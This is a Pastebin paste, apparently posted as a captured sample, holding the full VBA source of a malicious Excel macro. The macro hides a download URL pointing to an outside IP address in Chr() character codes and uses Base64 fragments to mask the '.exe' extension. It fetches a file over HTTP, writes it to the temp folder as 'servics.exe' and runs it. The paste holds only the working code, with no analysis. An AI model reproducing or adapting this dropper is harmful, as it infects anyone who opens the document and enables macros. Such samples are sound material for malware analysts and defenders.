dynamoo

Malicious Excel macro

Dec 23rd, 2014
998
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub parent()
  2. Dim WshShell
  3. Set WshShell = CreateObject("WScript.Shell")
  4. PathToSave = "%TEMP%"
  5. PathToSave = WshShell.ExpandEnvironmentStrings(PathToSave)
  6. Set s = CreateObject("ADODB.Stream")
  7.     strFileURL = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(56) & Chr(53) & Chr(46) & Chr(52) & Chr(56) & Chr(46) & Chr(53) & Chr(54) & Chr(46) & Chr(49) & Chr(51) & Chr(51) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(115) & Chr(115) & Chr(116) & Chr(97) & Chr(116) & Chr(47) & Chr(108) & Chr(108) & Chr(100) & Chr(118) & Chr(115) & Chr(46) & Chr(112) & Chr(104) & Chr(112)
  8.  
  9.     strHDLocation = PathToSave & "servics." & Chr(101) & Chr(120) & Chr(101)
  10.  
  11.  k = janu(strFileURL,strHDLocation)
  12.  Set fso = CreateObject("Scripting.FileSystemObject")
  13.  
  14. If (fso.FileExists(strHDLocation)) Then
  15.   CreateObject("WScript.Shell").run PathToSave & "servics." & Base64Decode("ZQ==") & Base64Decode("eA==") & "e"
  16. End If
  17. Set fso = Nothing
  18. End sub
  19.  
  20.  Function Base64Decode(ByVal base64String)
  21.  
  22.   Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  23.   Dim dataLength, sOut, groupBegin
  24.  
  25.  
  26.   base64String = Replace(base64String, vbCrLf, "")
  27.   base64String = Replace(base64String, vbTab, "")
  28.   base64String = Replace(base64String, " ", "")
  29.  
  30.   dataLength = Len(base64String)
  31.   If dataLength Mod 4 <> 0 Then
  32.     Err.Raise 1, "Base64Decode", "Bad Base64 string."
  33.     Exit Function
  34.   End If
  35.  
  36.   For groupBegin = 1 To dataLength Step 4
  37.     Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  38.     numDataBytes = 3
  39.     nGroup = 0
  40.  
  41.     For CharCounter = 0 To 3
  42.       thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  43.  
  44.       If thisChar = "=" Then
  45.         numDataBytes = numDataBytes - 1
  46.         thisData = 0
  47.       Else
  48.         thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  49.       End If
  50.       If thisData = -1 Then
  51.         Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  52.         Exit Function
  53.       End If
  54.  
  55.       nGroup = 64 * nGroup + thisData
  56.     Next
  57.    
  58.  
  59.     nGroup = Hex(nGroup)
  60.    
  61.     nGroup = String(6 - Len(nGroup), "0") & nGroup
  62.    
  63.     pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  64.       Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  65.       Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  66.    
  67.  
  68.     sOut = sOut & Left(pOut, numDataBytes)
  69.   Next
  70.  
  71.   Base64Decode = sOut
  72. End Function
  73.  
  74.    function janu(strFileURL,strHDLocation)
  75.    Set walabapoi = CreateObject("MsXmL2.xMLhTtP")
  76.  
  77.     walabapoi.open "GET", strFileURL, false
  78.     walabapoi.send()
  79.  
  80.     If walabapoi.Status = 200 Then
  81.       Set Newujapi = CreateObject("AdOdB.sTrEam")
  82.       Newujapi.Open
  83.       Newujapi.Type = 1
  84.  
  85.       Newujapi.Write walabapoi.ResponseBody
  86.       Newujapi.Position = 0    
  87.  
  88.       Newujapi.SaveToFile strHDLocation, 2
  89.       Newujapi.Close
  90.       Set Newujapi = Nothing
  91.     End if
  92.  
  93.     Set walabapoi = Nothing
  94.  
  95.  end function
RAW Paste Data